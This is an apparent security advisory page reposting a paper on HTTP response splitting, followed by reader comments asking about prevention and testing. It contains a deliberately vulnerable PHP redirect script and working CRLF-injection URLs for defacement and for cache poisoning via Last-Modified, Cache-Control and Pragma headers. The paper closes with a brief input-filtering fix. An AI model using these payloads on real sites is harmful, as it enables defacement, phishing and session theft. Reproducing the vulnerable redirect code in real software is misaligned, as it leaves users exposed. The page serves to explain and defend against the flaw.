|
Brought to you by:
Suppliers of:
|
|
|
| |
| The essence of HTTP Response Splitting is an attacker's ability to send a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response. This type of vulnerability can be exploited to perform several web application based attacks. |
| |
Credit:
The information has been provided by dcrab.
The original article can be found at: http://www.digitalparadox.org/http_response_splitting.pdf
|
| |
HTTP response splitting is a fairly new web application vulnerability. It can be used for the following purposes.
Cross site scripting (XSS): This is a very common and old form of vulnerability where it allows the user execution of HTML or Java script code which can then lead to the hijacking of the user's cookie or session. They even allow JavaScript code execution and maybe used to exploit other vulnerabilities in browsers with more anonymity.
Cross user defacement: This is a form of temporary defacement where the website, may looked defaced to a particular user. This is used in cases of information, id, or password theft. This enables an attacker to make the website look defaced to a particular single user, thus allowing the attacker to steal session data, cookies. It also allows the attacker to steal login information by forging a fake login screen for the website, thus allowing account compromise.
Web cache poisoning: In this form a rather larger defacement takes place where a cache is poisoned which is used by multiple users, thus making them think the site has been defaced, or that the site they are seeing is the genuine site when its not. In this case the attacker uses a proxy server etc and calls the vulnerable page using it to fool the cache into caching the second server response over which the attacker as complete control thus making the website defaced for anyone who uses or shares that cache server or proxy server. Uses for such an attack would vary vastly, some being: Defacement as it causes everyone who uses that cache or proxy to see the website as defaced. The second being phising, in which by showing a false page loaded by the attacker we can cause many users to give up private credit card numbers, user names, passwords and other confidential information.
Hijacking pages: This allows user access to sensitive information, which might be confidential or not normally accessible to the user. With this the attacker can receive the servers response to the client allowing sensitive data from the server to the client to be stolen by the attacker.
Browser cache poisoning: This attack is similar to XSS, the only difference being that the attacker forces the browser to cache the web page thus forming a long lasting defacement till the browser's cache has been cleared or cleaned.
These kind of attacks are generally carried out in web applications by injecting malicious or unexpected characters in user input which is then used for a 302 Redirect, in the Location or Set-Cookie header. So in the case of web applications, a code generally such as "\r\n" is injected in one of its many encoded forms. Though this vulnerability is mainly present in web applications it is not limited to them and can be exploited with similar methods over different protocols, as long as user input is present in headers, and there is no validation for all illegal characters. This paper is going to focus on the usage of HTTP response splitting vulnerabilities in the case of web applications. This type of vulnerability being fairly new, it is found in many large corporate websites, some of which might surprise you, most of them still exist.
This kind of attack is mainly possible due to the lack of validation of user input, for characters such as, CR and LF.
CR = %0d = \r
LF = %0a = \n
How it works?
To first understand how these vulnerabilities work, let us first understand how a normal response to a 302 redirection would be like.
Lets consider a normal redirect script as so,
<?php
header ("Location: " . $_GET['page']);
?>
Therefore, a request like: http://icis.digitalparadox.org/~dcrab/redirect.php?page=http://www.digitalparadox.org would redirect a user to http://www.digitalparadox.org. Let us take a look under the hood at the headers,
User -to Server Get request:
GET /~dcrab/redirect.php?page=http://www.digitalparadox.org HTTP/1.1\r\n
Host: icis.digitalparadox.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\r\n
Accept: text/xml,application/xml,application/xhtml xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n
Server to User 302 response:
HTTP/1.1 302 Found\r\n
Date: Tue, 12 Apr 2005 21:00:28 GMT\r\n
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c\r\n
Location: http://www.digitalparadox.org\r\n [User input in headers]
Keep-Alive: timeout=15, max=100\r\n
Connection: Keep-Alive\r\n
Transfer-Encoding: chunked\r\n
Content-Type: text/html\r\n
\r\n
User to Server Get request for redirected page:
GET / HTTP/1.1
Host: www.digitalparadox.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2
Accept: text/xml,application/xml,application/xhtml xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Now the server will respond with a normal 200 Found response and then the user will see the web page www.digitalparadox.org. As you may have also noticed each new line in the HTTP protocol is shown with a \r\n or CR and LF. Thus it is obvious, that by injecting false \r\n or CR and LF values in the user input followed by a false HTTP Request we can make arbitrary content of our choice show up on the users browser, or cause Cross user defacement, Cache poisoning, Hijack a page, or cause browser cache poisoning. So by now you must have understood how a basic HTTP Response Splitting vulnerability works, and got the overview of what we basically have to do to exploit these vulnerabilities correctly.
So now using such a vulnerability as shown above to our advantage would be done something as follows. We use the %0d%0a characters to poison the header so as to attain a temporary state of defacement.
Thus injecting something like: http://icis.digitalparadox.org/~dcrab/redirect.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E
Injected Data: %0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E
Which can also be written as:
\r\n
Content-Type: text/html\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
\r\n
<html><font color=red> hey</font></html>
If the user follows the link, the HTTP request will look like:
GET /~dcrab/redirect.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E HTTP/1.1\r\n
Host: icis.digitalparadox.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\r\n
Accept: text/xml,application/xml,application/xhtml xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n
Server to User 302 Found Response:
HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c
Location:
Content-Type: text/html
HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html
<html><font color=red>hey</font></html> [Arbitary input by user is shown as the redirected page]
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
0
As we can see in the exploitation process above, the server runs the normal 302 response, the arbitrary input we gave in the location header causes it to start a new 200 OK response which shows our inputted data to the user as a normal web server response, Thus we have carried out a Cross Site Scripting exploitation of the Html Splitting vulnerability.
Cache poisoning: To make the cache server, cache our request we must add some new headers. The Last-Modified header in the HTTP response will cause most cache servers to cache the web site, thus allowing our poisoned website to appear in the cache, as long as the Last-modified header is sent with a date ahead of the current date. Sending of the Cache-Control: no-cache and/or Pragma: no-cache requests will cause non cached websites to be added to the cache.
Some example versions of the cache poisoning exploits for the above vulnerable example are,
Last-Modified example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aLast-Modified: Wed, 13 Jan 2006 12:44:23 GMT%0d%0aContent-Type: text/html%0d%0a%0d%0a<html><font color=red>hey</font></html> HTTP/1.1
Cache-Control example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aCache-Control: no-cache%0d%0aContent-Type: text/html%0d%0a%0d%0a<html><font color=red>hey</font></html> HTTP/1.1
Pragma example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aPragma: no-cache%0d%0aContent-Type: text/html%0d%0a%0d%0a<html><font color=red>hey</font></html> HTTP/1.1
Solution:
To avoid such HTTP Splitting vulnerabilities parse all user input for CR LF \r\n %0d%0a or any other forms of encoding these or other such malicious characters before using them in any form of HTTP headers. These vulnerabilities can be used to fool their clients and steal authentication information.
|
| Subject:
|
Prevent CRLF Injection |
Date: |
19 Mar. 2007 |
| From: |
Kumar |
| Hi How do i prevent CRFL Injection in java web app
|
|
| Subject:
|
Nice One |
Date: |
26 Jul. 2007 |
| From: |
Markandey Singh |
This is a nice article indeed. I was looking for description of "e;HTTP Response Splitting"e;... This article i found pritty interesting and valuable.
Good piece of work. |
|
| Subject:
|
Its an CRLF injection attack or not |
Date: |
10 Sep. 2007 |
| From: |
vinodsharma.mimitgmail.com |
Hi,
According to the above information this packet capture contains CRLF injection attack but its is valid traffic according to my analysis.
So please have a look on it and please tell me its an attack or not?
Thanks in advance for any help.
Below is the Packet Capture:
12:54:15.000000 0:18:71:e5:47:82 0:16:46:d4:3d:1b 0800 888: IP (tos 0x0, ttl 64, id 30907, len 874) 172.31.1.227.46445 > 209.160.32.86.80: P [tcp sum ok] 792982008:792982830(822) ack 1202265502 win 46 <nop,nop,timestamp 104434081 2990693087> (DF)
0x0000 4500 036a 78bb 4000 4006 1eda ac1f 01e3 E..jx.@.@.......
0x0010 d1a0 2056 b56d 0050 2f43 f1f8 47a9 1d9e ...V.m.P/C..G...
0x0020 8018 002e 9336 0000 0101 080a 0639 89a1 .....6.......9..
0x0030 b242 5adf 4745 5420 2f46 6972 7374 5365 .BZ.GET./FirstSe
0x0040 7276 6c65 743f 6375 7374 6964 3d33 3030 rvlet?custid=300
0x0050 3532 3126 4869 6464 656e 4163 7469 6f6e 521&HiddenAction
0x0060 3d69 6e73 7461 6e74 736d 7326 6c69 7374 =instantsms&list
0x0070 323d 6465 6626 4d6f 624e 6f3d 3939 3536 2=def&MobNo=9956
0x0080 3831 3734 3137 2674 6578 7441 7265 613d 817417&textArea=
0x0090 7a63 627a 6373 6466 6a73 6a66 682b 7366 zcbzcsdfjsjfh+sf
0x00a0 7368 6668 6866 7368 6a6b 2530 4425 3041 shfhhfshjk%0D%0A
0x00b0 7366 6d6e 7364 6266 676e 6d73 6462 666d sfmnsdbfgnmsdbfm
0x00c0 6e73 6e6d 6625 3044 2530 4173 6466 6e73 nsnmf%0D%0Asdfns
0x00d0 646e 666d 6e62 666e 7364 6266 2530 4425 dnfmnbfnsdbf%0D%
0x00e0 3041 7664 7376 6676 7366 7673 6476 6664 0Avdsvfvsfvsdvfd
0x00f0 6425 3044 2530 4120 4854 5450 2f31 2e30 d%0D%0A.HTTP/1.0
|
|
| Subject:
|
How to test |
Date: |
6 Oct. 2008 |
| From: |
Deepa |
| Hi can any one tell me what are all possible ways to test weather our code is free from HTTP Response Spilitting and also some measures how to test our code. |
|
| Subject:
|
Claification needed |
Date: |
6 Oct. 2008 |
| From: |
|
Nice Article.
How prevalent is this type of attack?
Could it be used to cross-script to a person's intranet home page for DDOS attack (the example shows it returning to the same website)?
The description that lead me to this page says "e;This indicates the possibility of a malformed HTTP request having been passed to a Web server. Certain malformed requests could be used to evade IDS and IPS devices such as the one that can be used against Snort. A crafted HTTP request can be used to bypass Snort's URIContent rules detection. The technique takes advantage of the fact that certain Web servers accept several other white-space characters besides "e;SPACE"e; to separate various parts of an HTTP request. Since most of the IDSes use only "e;SPACE"e; as the delimiter, insertion of other white-space characters could evade their rules. <br> This can also indicate the involvement of a malformed request created using a technique called response splitting. Such a request can be passed to a Web server, which can then be used to carry out cross-site scripting attacks or to hijack pages"e; |
|
| Subject:
|
Nice article |
Date: |
16 Oct. 2008 |
| From: |
Lal |
Very nice article. I got a clear picture on "e;HTML Response Splitting"e; after going through it, which I was looking for.
Very good work.
Thanks! |
|
|
|
|
|
|
